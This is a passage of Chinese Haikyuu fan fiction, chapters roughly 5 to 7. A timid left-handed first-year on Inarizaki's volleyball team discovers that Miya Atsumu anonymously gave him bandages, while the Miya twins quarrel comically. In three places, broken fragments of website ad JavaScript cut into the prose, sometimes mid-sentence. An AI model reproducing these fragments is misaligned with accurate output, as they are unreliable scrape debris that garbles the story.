北信介视线些微移动,停在同样穿着稻荷崎制服的栗灰发少年的左手上。
绷带显目,将食指与中指缠在一起紧紧不分。
他适时出声打破了气氛的顿涩,“手指现在还好吗?”
白木优生闻言顿了下,乖乖点了点头。
“是、已经好很多了,北前辈。”
“那就好,进去吧。”北信介道,“不舒服的话可以再来找我,或者去和教练请假。”
白木优生:“是、是……”
他这么应着。
其实,如果不是昨天被北前辈突然指出,他也不会注意到自己的手指受伤了这件事。
是过于用力导致的指节皮肤裂开与局部扭伤。
虽然是左利手,但是罕少在球场上全然用出,加上也不会有人愿意让他百分百发挥自己的力量。
所以这么猛地来了一次、受伤似乎是必然的。
但是其他人都没有发现,包括白木优生自己。
他对痛感并不敏感,非要说的话甚至有点迟钝。
无论是身体上的,还是其他。
“……”
“——集合!”
跟队教练大见吹了集合哨,排球部的一年级新生们迅速整队。
总教练黑须法宗拿着名单表站在最前,对新生们的评估分析结束,接下来的就是宣布各自的位置安排与之后的练习。
白木优生站在最后一排的队首,隐没在人群里等待着自己的名字被叫到。
稻荷崎队员人数众多,队内平常训练也分在两个体育馆。
正选与替补在第一体育馆,其他人在第二体育馆。
他的志愿就是去第二体育馆捡球,这样不仅可以减少不必要的联系,还能一直触碰到排球。
一个人的时候,才是他最自然、最放松的时候。
“白木优生。”
“在、在的!”
黑须法宗镜片下的眼睛扫过即使隐没在队尾也依旧十分显目的灰发少年,手中的名单册翻过一页。
从身体素质到各项测试数据,密密麻麻一片标红,最后的实战演练的评语更是一长串,无一不在彰显教练组对他的关注。
黑须法宗:“一馆,替补。”
白木优生:“…好、好的。”
他有些紧张,一想到一馆内全是各位前辈、还有昨天自己造成麻烦的那位二传手前辈,生理性地、就已经感受到喘不过气。
没、没关系的,强自立在那儿,白木优生努力让自己不那么想躲藏起来。
对、对,没关系的…只是去做替补而已。
只要他乖乖听话,好好训练,不上场的话……就不会有问题的、应该。
……
那个、话好像……说早了。
白木优生定在那儿,再次感受到那股冷汗涔涔、一动也不敢动的感觉。
第一体育馆比第二体育馆大很多,宽阔明亮,分成四个球场。
此刻人声鼎沸,嘈杂无比。
就是,总有一道视线绕来绕去、拐着弯游走后又不断绕回,似乎是想努力表现出一副没有在看、撇清关系的模样。
但是,以白木优生的直观感觉来看,体现出来的是……隔三秒看一下、隔三秒瞥一眼、隔三秒盯一次。
简而言之,很有节奏,有种掩耳盗铃的鬼鬼祟祟感。
虽然以白木优生的视角、只要稍微一转头,就能对上那个每隔三秒就要看他一眼的人。
但无论怎么想…真正对视上,想逃跑的一定是他自己。
要不,还是装作不知道的样子吧…
他默默捡起被击飞到场侧的排球,犹豫了下,又去捡了一个。
鬼鬼祟祟、自以为表现得天衣无缝、不定时瞥着场侧那道身影的某金毛狐狸再在下一个三秒转头时,就望见自己留心的对象哪里还有呆呆傻傻的模样,分明就已经开始捡球捡得不亦乐乎。
宫侑:“……”
“那家伙…”他半天才挤出这么一句话。
“喂、侑,你怎么又在走神。”
皱眉,宫治不满地捞起队服下摆擦了下脸,走过来没什么好表情,
“一次两次也就算了,十几次就是故意了吧你。”
宫侑敷衍哼了两声。
敏锐感知到什么,宫治转头,视线直直盯向宫侑装作不经意瞥去的方向。
“那个一年级?”
“……哼。”
宫治:“你在看他?”
“哈——?”被戳中心事的金毛狐狸倒吸一口凉气,“我才没有!!”
宫治眯起眼。
宫侑有些心虚,视线飘忽了下,咳了声开口,
“那个、阿治,你昨天过去时候有看见他手指受伤了没,我只是疑惑!问一下而已!”
宫治闻言,又多看了一眼。
蹲在那认认真真向球框内垒球的灰发少年动作无差,看不出来是否受伤,不过没看错的话、左手两支手指上的确是包了截绷带。
他摇头,“昨天没看见。”
他又想了想,“不过北前辈应该知道,毕竟昨天直到解散后他们都没回来,有什么事的话就是那个时候去做的吧。”
说话,他去看宫侑。
不出意外、一副僵硬到要便秘的表情。
宫治:“所以,你要去找北前辈问吗?”
宫侑:“……我不去。”
宫治:“哦。”
他不信。
宫侑:“我真的不去!”
宫治:“我没到耳聋的程度!声音给我小一点!”
“哈——?!明明是你这头猪声音更大吧!!”
一言不合,两人扭打一团。
三秒后,路过的战地记者藏狐君成功召唤来巡场检查的狐狸队长,两只狐狸被拎走一个一个听训。
被牵连的宫治独自面壁,思考着什么。
余光微动、瞥到旁侧同样被训完后蔫头耷脑过来面壁的金毛狐狸。
“……”
宫治:“要说什么就说,”
“给我一千円。”
宫治:?
“你自己的零用钱呢?”
宫侑哼哼了声,理直气壮道,“当然是月初就用完了!谁还会把零用钱留到月末啊!”
“不要”,宫治冷酷拒绝,“你自己去和妈妈要。”
“那样太慢了,我现在就要用!”
宫治用
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
两只手指堵住耳朵,拒绝搭理这个和他长着一张脸的蠢蛋。
面壁的两人争闹不休,排球馆的人早已习惯,该路过的路过,继续去做自己的事。
白木优生也是如此。
但此刻,他正在经历内心斗争。
因为手指受伤,加上新入一馆替补的适应期,安排给他的训练只有简单的捡球、接球防守与帮其他人抛球,具体练习似乎要等手伤好转后再做决定。
虽然白木优生尝试解释自己其实没有受很大伤,但很显然,稻荷崎是典型的人道主义。
从主教练到正选队长都否决了他不成熟的提议,只让他‘安心养伤,不必着急’。
一时,心里愧疚感拉满。
如果只是冷酷地将他当作可消耗品对待的话,他都不会有这么愧疚。
但只是稍微展露出一角……甚至只是浅薄的一点好意,就会让他深感压力,恨不得能将贫瘠的自己全部奉上。
无用的他如果真的能做到或是帮上什么就好了。
可白木优生对自己的状况心知肚明,在场上除了发球以外,似乎也做不了更多。
所以,只能在其他地方更加努力且认真一些。
穿着稻荷崎枣红色运动外套的灰发少年一个一个捡完球,整整齐齐垒好后同时推着两辆球框一起送到活动室。
“打扰了,北前辈!”
习惯性留在最后做清洁仪式的北信介闻声,转头,
从活动室折回的白木优生小心翼翼,“那个、我可以和前辈一起打扫吗?”
北信介低头,灰发少年手上已经一手拖把一手抹布,翡绿的眼底洇出一点小小的期盼。
像细碎撒落的星星。
这是他来到稻荷崎后第一次主动向人开启话题,并提出自己的想法。
仿佛只再三小心试探后确认周遭安全,才从洞里钻出个头的小动物,正一点一点接洽环境。
这个时候,该给出适当的鼓励。
北信介看着他,这么想着,平静开口,“晚回家的话还能赶上车吗。”
白木优生眼睛微微亮起,没有直接拒绝。
“可、可以的!”
“那么辛苦了。”
“是、是!”
白木优生高兴应声。
清洁与打扫,这是他除了排球以外做得最习惯、也是最好的事情了。
直到打扫得锃亮,整个一馆一尘不染后白木优生才缓出口气。
“走吧。”北信介锁上门,同他道。
休息区在一馆旁,是独立区域。
白木优生按照铭牌找到自己的更衣柜门,站定后欲要打开。
余光微动、他瞥到什么东西。
放在那,安安静静、不声不响。
低下头,映入眼中的,是一只购物袋。
袋口正向上开着,内里放了几样东西。
白木优生不解,望了眼周遭,的确是没有其他人在。
……是谁不小心落下的吗?
他蹲下,试图寻找其主人的痕迹。
痕迹没有,只在袋口看见了张展开的纸条,
[:给白木。]
字迹歪歪扭扭,很随性,看不出是出自谁手。
白木优生犹豫了下,拿起那张纸条。
纸条一动,下面的东西也就都露了出来。
两卷没拆封的绷带,一盒撒隆巴斯,以及一些创口贴和药之类。
他又向四遭看了眼,捉摸不透。
来到稻荷崎时间太短,与其他人之间也没有什么更深层次的联系。
而且、知道他受伤的人也很少,除了教练就是三年级的北前辈,同班的理石平介虽然也知道,但是他已经先离开了。
思来想去,似乎也没有什么其他人选。
“怎么了,白木?”
拿好球包的北信介从另一边过来,看见蹲在地上的身影发问。
听到声音,白木优生迟疑举起手中的字条,“我收到了这个……”
北信介微歪头,走近点,看清内容。
似是想到什么,他表情缓和,“收下吧。”
白木优生:“欸、欸…”
“可是我还不知道是谁送……”
“既然已经匿名,大概就是不想被猜到自己的身份吧。”
是…是这样没错……
但是……
“收下吧,对方是在关心你。”
白木优生一愣。
那个、关…关心他吗?
5. 第五章
这件事最终也还是不了了之。
即使再怎么想知道是谁,但是稻荷崎的排球部成员……看上去,嗯、都有点严肃。
无论哪个前辈、看起来都气场十足的模样。
白木优生小心收回试探的触角。
但是……不管怎么说,居然会有人在关心他,好高兴。
如果他能回馈这份好意,那就更好了。
入部的第二周,在新生测试上意外受伤的手也逐渐好转,白木优生的训练菜单被教练组更改,开始跟着替补队伍一起做日常的基础训练。
并额外参与了发球与扣球部分。
虽然收效依旧不太乐观,比起在新生赛上与宫侑合作打出的那记暴力扣杀,总是差了些球速与力道。
替补队伍的二传叹气,想说些什么,但是一对上颤颤巍巍扣完球就立即望过来、整个人紧张无比,握着手、抿着唇,仿佛再多说一句就要原地落泪的一年级新生。
他沉默了下,摸着良心,“嗯…做得不错,下次如果能再进步一点就更好了。”
白木优生眼睛一点一点亮起光,“真、真的吗,前辈!”
“是、是……”
完了、一旦对上那双可怜兮兮望过来的眼睛,就完全说不出重话啊!
白木优生对自己的长处毫无自知,只是得到一点点肯定就很开心。
他开始觉得能离开东京、入学稻荷崎,是今年做得最明智的选择!
“能来到稻荷崎,真的是太好了……”
“是是是,优生,这已经是你今天第三次说这句话了。”
理石平介无奈,他们正在去医务室的路上,白木优生的复查时间到了。
到了医务室门口,白木优生发现门没关,里面还隐隐约约传来些说话的声音。
没多想,他走上前去敲门,抬起手、当即听到某个关键词。
“…我看到小票了,绷带和撒隆巴斯,你怎么突然买那个?”
白木优生一顿,室内被问的人嘟囔了两声,没回答。
跟在后面的理石平介疑惑他怎么站在门口不进去,上前握了下门把手,没关,
理石平介:“优生,你怎么不进——”
白木优生:等、等等……
声音瞬间传入,室内一寂。
“刺啦”两声,是帘子拉开的声音。
医务室的门从内拉开,白木优生与理石平介抬头,直直对上的、就是两张一左一右、如出一辙的熟悉面庞。
两人一个单手插兜、一个抱臂在前,视线同时落下、停在他们脸上。
宫治:“一年级的?”
宫侑:“又受伤了?”
白木优生当即否定,“不、不是的……”
理石平介举手,“宫前辈,我们是来复查的!”
宫治宫侑对视,让出可以进来的空隙,“这样,那进来吧。”
白木优生当即闭上嘴,乖乖进入医务室。
进入后才发现,医务室内的校医正在忙,回头望见白木优生,远远道了声‘先自己找地方坐着,处理完就来。’
闻言,白木优生在靠近门的地方坐下,他对面一个宫侑一个宫治,都随便坐在那没走。
理石平介已经与他们搭上话,“前辈们是来医务室……?”
宫治朝旁边努嘴,“送人过来。”
白木优生顺着他指向看去,正是校医在处理的人,似乎是脚腕扭伤,正夸张哭嚎着。
“闭嘴——佐井,你太吵了!”
宫侑额头冒出青筋,朝那个方向喊了一嗓子,鬼哭狼嚎当即截停。
白木优生:“!”
他更紧张了。
坐在原地、动也不敢动。
“喂,你,”面前突然传来道降了点音量的声音。
“是、是!”
白木优生磕磕绊绊应声,“怎、怎么了前辈。”
宫侑:“……”
他没好气道,“难道我会吃人吗,这么紧张。”
白木优生控制不住,努力组织言语,“没、没有的。”
“果然是个小结巴。”
宫侑轻哼一声,移开脸不再看他。
他移开视线,白木优生这才逐渐放松下来。
宫治单手撑着脸放空,没吭声。
理石平介左看看、又看看,额头缓缓冒出一个问号。
缓过神的白木优生心底也慢慢生出点疑惑。
那个、面前的前辈突然叫他,但……好像、什么都没有说。
所以,突然叫他一声是因为?
白木优生摸不着头脑,宫侑也不解答,定定望着旁边,仿佛那里有什么极为有趣、吸引他注意力的东西。
校医处理完脚腕扭伤的二年级,换了副手套后就过来找白木优生。
“复查是吗?”
白木优生点头。
校医见状,在他对面坐下,示意他把手伸出来好让自己检查。
白木优生递出手,很小心地搭在伸过来的手心。
小心翼翼、不敢多用力,连接触部分也很少,整个人拘在那、就像只听话的小动物般。
毫无预兆,坐在对面的人突然笑了声。
在放空的宫治:“?”
旁观的理石平介:“?”
白木优生不解,杏仁形的圆圆眼睛疑惑望去。
宫侑轻飘飘开口,“没什么~只是看到点好笑的东西。”
……这样啊。
他说了,白木优生就信了。
虽然不知道前辈看见什么了,但是这么说一定有他的道理!
虽然一旁的宫治还满脸怀疑地盯着他,但宫侑丝毫不慌。
先前被他称为‘佐井’的人朝这里大喊,“你们两个别在那发呆了,快过来搀我一把,我一个人走不了!”
宫治认命,叹了口气就要起身。
宫侑原地拒绝,合理回怼,“你是笨蛋吗佐井,多待一会儿就不用回去继续上课了!”
那人一愣,喃喃道‘好像也是’,速速又安静下去。
白木优生坐立难安,随着宫侑那句话喊出,面前的校医皮笑肉不笑加重了帮他检查手掌关节的力道。
而宫侑也在那一句话说出后转过头来,不知何时又开始盯着他。
两相交汇,白木优生有种如坐针毡的紧迫感。
“喂、你,”二度开口,宫侑托着下巴,眼睛微微眯起。
“在、在的,前辈。”白木优生依旧好脾气地应着。
“那个时候手指受伤,没感觉吗?”
宫侑突然这么说,将在心底不断做着准备的白木优生打得一愣。
他回忆了下,“应该…没有的吧,应该……”
那个时候、好像精神全都集中在自厌与恐惧情绪的消解上了,是怎么下场的,他都记不清了。
说起来,当时情绪控制不住,突然崩溃哭起来…好像直面他那时糟糕状态的就是这位宫侑前辈。
一直记到现在,看起来…绝对给人造成困扰了。
宫侑支着下颌,狐狸眼微眯、直勾勾盯着,没有对他的回答做出评价,只是话题一挑,
“那之后为什么一声不吭地就哭成那样?”
“排球部的其他人可一直以为是我在欺负你啊!!”
他半抱怨地如此道。
白木优生瞬间满怀歉意。
低下头,灰发少年小小声,“抱、抱歉,前辈,我会向前辈他们解释的!”
他抬起脸,很小心地望过去,眼中愧疚感更深,认真且一板一眼对宫侑的话解释道,
“哭是因为…那个,扣球…扣下去了。”
宫侑思考,而后皱起脸。
“……难以理解。”他如此道。
白木优生更觉抱歉。
的确、任是任何人听到他这句话,绝对会露出和宫侑前辈一样的表情。
因为扣球扣下去就哭什么的……听起来毫无逻辑。
“那次之后你怎么又扣不下去了,我记得二队的二传有说过你吧?”
“是、是的,”白木优生因为自己对人造成困扰,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
几乎是一问必答。
他乖乖点头,“仓山前辈说、说做得不错,下次如果能更再进步一点就更好……”
“哈——?”
宫侑突然这一声,将老老实实坐在那的白木优生吓了一跳。
“是…怎么了吗?”他恂恂问到。
“仓山那家伙……”宫侑嘀咕着,隐去了下面不该出口的话。
不是、二队的二传仓山不是素来以严苛严厉出名,怎么会突然转性子,居然说出这么……
宫侑郁闷抓头,满心不解。
视线扫过、直直望进面前之人小心翼翼投来的目光。
翡绿色的眼瞳如水洗过的宝石,透亮清晰,乖乖看过来时整个眼中就只有一道身影。
仿佛映出了全世界般,专注、真挚、认真。
他顿了下。
答案似乎已经浮出水面了。
什么啊。
居然是个……惯会撒娇的家伙。
“算了,”宫侑哼了声,“我就不该……”
“那个、”
面前之人犹豫了下,秀气的眉毛微微拧起,还是决定开口。
他又小心出声努力补充,“其实哭、也是因为……有前辈的传球。”
宫侑挑了下眉,抱臂在前。
要拖他下水……还是讨好他?
不过这个时候拍马屁可没那么容易,他可不是那么轻易就能哄弄过去的人。
白木优生抿了下唇,他的手还被校医拿着、在检查筋骨关节,而他垂下眼,眼睫落下一点浓墨漆黑的影子。
出口的声音不高不低,与先前的结巴与颤颤不同,这一句话说的肯定又真诚,满满都是发自内心,
“前辈的传球,是我接到过的最好的传球。”
“那个时候、扣下的瞬间,自心而发的…很开心。”
“开心到……觉得自己仿佛被眷顾了一般。”
杏眼绿瞳的少年微微弯了下眼,罕少露出这样温和、轻松、平静的表情。
他道,“所以,很感谢…前辈,如果不是前辈的话……”
“——停停停停停!”
宫侑当即转过脸,食指手掌抵住、摆出‘STOP’的手势。
他开口的突然,白木优生猛地被打断。
听话地停下,他仰着脸望着突然站起身的宫侑,虽然不解但是尊重。
“佐井、你还要待到什么时候,我要回去上课了!”宫侑直直朝着已经躺平在病床上的人大喊。
躺的好好的突然中枪的佐井:“?”
宫治露出一副活见鬼的表情。
“——我可是很忙的,”
宫侑双手插兜,留下一个冷酷的背影,“没空陪你一个才入部还扣不了球的一年级新生单独练习,知道吗?!”
白木优生不解话题为什么突然跳到‘单独练习’,但还是乖乖应道,“知、知道了……”
宫侑余光飞快瞥了眼他,大声道,“我走了!”
白木优生乖乖点头,“是,前辈请路上小心。”
宫侑走了两步,“我真的要和阿治一起走了!!”
白木优生尝试理解,理解成功。
他小心翼翼伸出空着的左手,挥了挥,“那、那前辈们…路上小心?”
宫侑:“……”
金毛狐狸摔门而去,和孪生兄弟节奏完全岔开地搀着个可怜的人大步流星,效果堪比拖着麻袋猪突猛进。
白木优生目送,只望见三道身影远去,很快变成小点消失远方。
目睹一切的理石平介:“……”
白木优生确凿,“宫侑前辈,真的、是个好人啊。”
理石平介:“?”
啊??不是、你从哪得来的结论?!
另一头,某拖着麻袋飞速前行的金毛狐狸咬牙切齿,狠狠捏拳,
可恶!!!
这个一年级不是个惯会撒娇的家伙吗?!
都暗示得这么明显了,怎么还不开口求他单独给他传球啊?!!
笨蛋吗!?
6. 第六章
笨蛋·白木优生正在捡球。
而且看模样捡球捡的很开心,时不时还能客窜一下帮忙抛球。
休息区的宫侑看得一言难尽,
“不是!那家伙为什么在做打杂啊!二队的练习有这么轻松吗?!”
大耳练闻言望了眼,身形高瘦的灰发少年正认认真真在场侧捡球,跑来跑去肉眼可见十分开心。
他沉吟了下,“也许是特意安排也说不定?”
宫侑嘟囔,“……这算什么特意安排。”
大耳练挑眉,不着痕迹靠近些许,“阿侑,说起来……你怎么这么关心人家一个一年级的训练?”
如临大敌,宫侑当即转首面如菜色,“我才没有在关心他呢!”
“——哦?”
“大耳前辈你真的好像个八卦的阿婆啊!”
“喂喂、侑你小子……”
宫侑飞快躲避来自前辈的爱护,一转身就直接一头撞上从外面进来的宫治。
宫治眼疾手快闪身躲避,稳稳护住手里以及怀里东西。
“你是猪吗,横冲直撞的。”宫治额头冒出青筋。
“你才是猪吧!”宫侑没好气转眼。
视线一顿、直直盯着宫治手里拿着的东西上。
便利店的购物袋,满满都是各种零食。
满到几乎要装不下,而他此刻另一只手里还拿着只拆到一半正在吃的金枪鱼饭团。
“阿治——你不是零用钱全被我拿走了吗!怎么还有钱买这么多?”
宫治:“……”
破案了,钱包窃贼果然是这家伙。
他默默嚼了两下,咽下口中食物,才开口,“首先,是借,下个月是要还的。”
宫侑哼了声。
宫治:“另外,不是我买的。”
宫侑:“?”
宫治抬了下脸,“是那个一年级,叫白木的那个,送的。”
“啥——??”
场侧,白木优生突然打了个喷嚏。
欸、欸?
难道……有谁在念叨他吗?
他思索了一圈,也没找到可能对象。
话说起来,没想到撒隆巴斯和绷带,居然是宫侑前辈。
自从上次在医务室不小心听到里面有人提及关键词‘撒隆巴斯’与‘绷带’,他就默默记上了心。
虽然对方是匿名送的,但他还是很想回报这一份好意。
而这个机会很快就到来了。
就在便利店。
他在这里遇到了…掏不出钱的宫治。
宫治低头,抽出分毛不剩的饭团钱包。
他记得,里头应该还剩最后的一千円。
但是现在,连剩下的一千円也没了。
不出意外……一定是被那头猪顺手牵羊顺走了。
叹了口气,他默默看向好不容易抢到的限定饭团,挣扎了下,只能放弃。
“这个我就先不……”
“宫治前辈?”
身后传来声不确切的疑问,紧跟着冒出头来的便是一前一后两个一年级脑袋。
“喔…你们好。”宫治随便打了个招呼,此刻他提不起兴致。
白木优生望了望正在等待收银的收银员,与视线黏在饭团上、面无表情的脸庞硬是表现出了点不舍的宫治,又望了望他手中瘪瘪的饭团钱包。
他理解了下,“那个、我来请前辈吧?”
宫治转头,看向开口的灰发少年,他心里挣扎,但面上还是无表情地拒绝道,“不了,让后辈请的话被认为是敲诈就遭了,会被前辈们嘀咕的。”
白木优生闻言,鼓起勇气道,“没关系的,就当做是前辈上次的手帕的…谢礼,这样可以吗?”
宫治沉默了下,视线落进那双翡绿色的、满含期冀的眼睛。
不得不说,这家伙…如果真的要讨好谁的话,绝对会很轻松。
他默默地想。
心底有点想纠正其实那块‘手帕’的指向对象并不是他。
但一想到说出来,侑那家伙知道了绝对会大吵不休、闹个没停。
啧,有点麻烦。
宫治抓了把头发,“……不用你请,算我借的,下个月侑还钱了我给你。”
白木优生闻言情绪微缓,弯了下眼。
现在他已经逐渐能和稻荷崎的部员倾向正常的对话。
虽然偶尔还是会有些紧张和结巴,不过…面对有好感基础的宫治前辈,会稍微轻松一些。
他干脆上前帮忙付钱。
宫治叹了口气,摸了摸瘪瘪的饭团钱包,又摸到那张被他当做证据留存的购物小票。
思考了很久,他还是不解,“那家伙买那么多绷带和创口贴,还有撒隆巴斯……也没在球包和家里看见,真奇怪……”
白木优生付钱的动作一顿。
他犹豫了下,“前辈刚刚…说的是?”
宫治没想到自己随口的抱怨正好被他听见。
但也不是什么重要的事,他就直接道了。
“没什么,就是宫侑那家伙买了不少绷带、创口贴和撒隆巴斯之类的。”
白木优生轻轻眨了下眼。
他仿佛捕捉到了某个可能性。
“抱歉、可以请问前辈,宫侑前辈是什么时候……”
宫治虽然不懂他为什么会突然问这个,但看在后辈帮他解围的份上,捏着小票、他扫了两眼打印的购物时间,
“…找到了,结账时间,4月13日下午17:57……”
宫治敲掌心,“……难怪那个时候集合没看见他,原来是跑去买这些了。”
啊、对上了。
时间、地点、物品。
白木优生情绪起伏,圆圆杏眼睁大。
匿名送那些东西的人……原来,是宫侑前辈吗?
但是,为什么会给他…
他一边想着,一边付钱,拿出纸币时手却微停。
宫治瞥了眼,以为是他后悔了,理解性开口,
“如果感到麻烦的话就这样吧,不用刻意勉强……”
他还记得面前这个一年级在部内算是个比较麻烦的高危品种,上次唰地一下就在侑那家伙面前哭出来打了众人一个措手不及。
现在人多眼杂,如果也在他面前来上那么一遭,明天‘宫双子欺凌一年级后辈’的小道消息就会飞遍整个排球部了。
想想都……可怕。
宫治默默瞥了眼他。
“不、不是这样的。”
白木优生小心翼翼开口,
“我是想问……宫治前辈,还有什么想要的吗?”
宫治:“……啊?”
白木优生抿了下唇,“前辈刚刚…帮了我很大一个忙,所以,我想稍微表达一点感谢,这样。”
宫治摸不着头脑。
看着他、半晌,隐隐约约是摸到什么,“就因为…那个小票时间?”
“是、是的!”
白木优生立即点头,以防宫治不相信,十分认真地望向他,强调道,“是真的、真的很重要!”
宫治沉默。
白木优生以为他是担心自己付不出更多,立即抽出黑卡,“那、那个,宫治前辈…可以放心。”
他犹豫了下,还是说出了这句话。
“——钱的话,我好像有很多。”
“所以前辈想要的,我都可以买给前辈的!”
“……”
记忆回笼,白木优生捡完最后一个球,并整整齐齐垒好在球框。
他喜欢捡球,这对他来说算是一种最佳的放松大脑方式。
而且,国中时……
他被允许接触排球最多的,就是捡球。
但现在不是去想那些的时候。
宫侑前辈,匿名给他送那些东西……按照北前辈的话,匿名就是不想被对方知道的意思。
但现在,他通过某些方式自己得知了。
直接去向前辈表达感谢的话,前辈会…不高兴吗?
但是,宫侑前辈居然愿意对这样的他释放好意。
明明自己已经在入部的当天,给前辈带来了困扰。
而且、前辈也是第一个发现他是左利手的……
所以,之后发现他受伤,给他匿名送药,似乎也是……逻辑成立的。
白木优生再次确凿,
果然——宫侑前辈,真的是个好人啊!
蹲在那垒完球的灰发身影站起,肉眼可见的、他周身都泛起点愉悦气息,虚虚看去、甚至能看见象征心情很好的小花。
但这一切都中止在他推着两大篓球框准备去器材室的路上。
分毫不差、直线距离上拦着道身影。
白木优生一开始没注意,瞥到时整个人一停。
——是宫、宫侑前辈!
说曹操,曹操就到。
他情不自禁有点紧张。
该怎么开口、要先和前辈打招呼吗,还是道谢……不、不对,匿名的话代表前辈不想被他知道是自己。
所以要配合前辈装作不知道的样子才对,那么现在最应该表现出来的就是——平常心!
宫侑双手抱臂,身影结结实实堵在去往器材室的必经之路。
他眯着双狐狸眼,望着那道刚刚一个人待着时候还十分放松,甚至还在傻乐的身影。
结果下一秒,一抬头看见他,面部表情呆愣,旋即飞快变化。
最后,停留在一种紧张与微侧过头去的躲避上。
宫侑:“?”
——什么啊!!
明明对待治那家伙就那么讨好、还买那么——那么多零食贿赂那家伙!
怎么到他就变成这样?!!
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
落差也太大了吧!
完全就是个——一点也不讨喜的后辈!
他心底翻江倒海,但面上表现出仍是一种严肃静默的狐狸凝视与视线灼灼的[盯——]。
面色不明,总之看上去绝不是高兴。
白木优生犹豫了下,努力模仿平常模样小声道,“抱歉,宫侑前辈,可以…稍微让一下吗?”
宫侑:“……哼!”
——到他就是宫侑前辈,到治那家伙就是治前辈了吧!
白木优生:“!”
灰发少年像兔子一般耳朵立即机警竖起,他紧张无比,余光小心翼翼瞄着面前的宫侑。
是、是他哪里让前辈不高兴了吗?
“那个、他们两个……在干什么?”
已经收拾好东西背着球包准备离开的尾白阿兰望着狭路对峙的两人,沉默良久,缓缓问出这一句。
同样收拾好东西准备走的赤木路成默默摇头,背着斜挎包出来的角名伦太郎静静看了眼,手指微动、从口袋里掏出手机。
宫治还在吃那堆零食,“嘎吱嘎吱”声不停。
视线越过灰发少年,直直望到正凑热闹般堆在那望向他们的一堆人。
宫侑视线扫过已经开始打嗝的宫治,额头一个接一个冒出青筋。
——可恶,所以为什么只有治那家伙受到优待啊!
明明、明明他也……
他表情严峻、狠狠向前——伸出手!
白木优生愣了下,视线下移、望着递到自己面前并摊开的手掌。
心底不安,但他还是飞速去理解。
眼见着宫侑面色越来越黑,越来越深沉,白木优生脑中倏然闪过一点灵光。
他捉住这点灵光,快速采取行动。
不断增加、扎堆在那凑热闹的人就这么望着背对着他们的灰发少年似是下定了某种决心,同时握着两个球框的手微动。
迟疑的、将一只手握着的球框拖杆,放在了——伸到面前的、宫侑手中。
白木优生试探:“是、是这样吗?”
“……”
宫侑从牙缝里艰难挤出声音,“你、在、做、什、么?”
——答案错误!
白木优生现在恨不得当场打个洞钻下去。
呃呜、居然猜错了前辈的心思!
那他现在这样在前辈视角中岂不就是后辈胆大妄为地命令他做事。
——怎么想,也太糟糕了!
灰发少年猛地打了个嗝,显然受惊过度。
他踌躇着、又小心地伸手,要拿回递过去的拖杆,
宫侑表情不好看,再度开口,“你——又要做什么?!”
白木优生就差原地蛋花眼,整个人颤抖,“抱、抱歉!我这就拿、拿走……”
宫侑:“……”
他凶巴巴,“都给我了,还拿走吗!”
“啊、那,那我……”白木优生结结巴巴,“那我怎、怎么做……”
“快走!”金毛狐狸恶声恶气,“训练都结束了,故意拖延吗!”
白木优生:“我没、没有的!”
他心系另一只落在宫侑手中的球框,“那、那个……”
“给我就是我的,你还想要拿回去?!”
白木优生呆住。
啊、这个…那个,排球部的…球框,也是可以被给前辈的吗?
“——哼,”
“麻烦的家伙!一点都看不懂别人眼色,你是笨蛋吗?!”
白木优生被打击到,整个人灰白一片,对自己的失望占满心脏。
明明是对他释放好意的前辈,但他不仅没能回馈这份好意,还让前辈因为他生、生气了……
真的很抱歉…果然,他就是这么一个没用的……
眼见着灰发少年低下头,开始不吭声。
宫侑单手插腰装作不在意的模样,实则余光始终关注着,瞥着灰发少年面颊,视线兀地顿住。
眼瞳颤颤,潮湿又透亮,呼吸轻微、苍白唇瓣微微抿着。
熟悉的场面再映,一些难忘的记忆回笼。
——这、这眼见着就是要哭的前奏啊!
宫侑僵硬,瞬间回忆起自己被落在地板上的眼泪支配的那一天。
他当即炸毛,“等、等等!你不会又要哭吧?!”
“……啊。”
白木优生呆呆,喉咙被气息噎住,只有短促一个音节。
真的要哭啊???
宫侑手足无措,完全顾不上先前什么‘讨厌’、‘笨蛋’、‘麻烦’、‘才不在意’。
一左一右瞬间拉起两个球框,宫侑当即接手,并大喊,
“你先别哭!!”
他已经无比崩溃,满心慌乱,
“球框给我来送!我这就去送!!喂你先忍住别哭啊——!!”
7. 第七章
“我好后悔,真的……”
“如果时间能回到过去,我一定要和那个时候的自己说……”
“——快远离那个新入部的叫白木优生的家伙!”
“越远越好!!!”
一头撞在球馆墙壁,平日里毛皮油光水滑的金毛狐狸此刻近乎崩溃、徒劳以爪挠墙,嘴里止不住碎碎念念。
旁侧,目睹这一幕的排球部众人默默挑高了眉。
“居然能把阿侑这家伙压制到这种程度,简直是后生可畏啊!”惯来被双胞胎折磨的尾白阿兰深深感动。
“我才没有被压制——!!”宫侑猛转头,“我这是作为前辈在让,对!让着他!”
宫治路过,言简意赅,“说谎。”
宫侑:“?”
阿兰促狭,“真没想到阿侑居然也会说出自己在让着后辈这样的话,我还以为一定会是那种不断找后辈麻烦的棘手类型呢~”
角名伦太郎适时插话,“他找了,”
“欸欸!!”其他人嘘声,纷纷好奇下文。
角名:“不过最后,全都失败了。”
“——哦?”
“譬如这家伙在轮到一年级打扫球馆的时候凑上去指手画脚,非要说这里不干净、那里打扫位置不对。”
宫治补充,“自己夯吃夯吃乱指挥一通,结果却跟在屁股后面帮一年级一起打扫球馆,差点没赶上回家的最后一班公交。”
角名再举例:“譬如在一年级们练习的时候一直在周遭游荡骚扰,还试图用视线恐吓别人。”
宫治叹气,“所以立即就被路过的前辈捉去当练习靶,沦为一年级的传球工具人。”
角名:“譬如……”
宫侑暴起,“——停停停停停!”
暴汗淋漓,他当即一边一个拼死拦截。
该死……再让这两个家伙说下去,自己的老巢都被掀了个底朝天了。
而且,他根本就不是这两人口中说的那样啊!
——排球馆打扫归打扫,他只是看不惯那个一年级磨磨蹭蹭做完自己的部分还要去帮其他人。
难道那家伙的时间很多吗?!
有那么多时间,不去纠正错误的扣球姿势,浪费在这种无意义的事情上,怎么看都是笨蛋行为!
“所以,阿侑你就干脆利落地直接上去帮忙了?”
“哼!”
尾白阿兰与银岛结面面相觑,“这、这样啊…”
“那、那在一年级练习时的骚扰与用视线恐吓的是?”
宫侑视线乱飘。
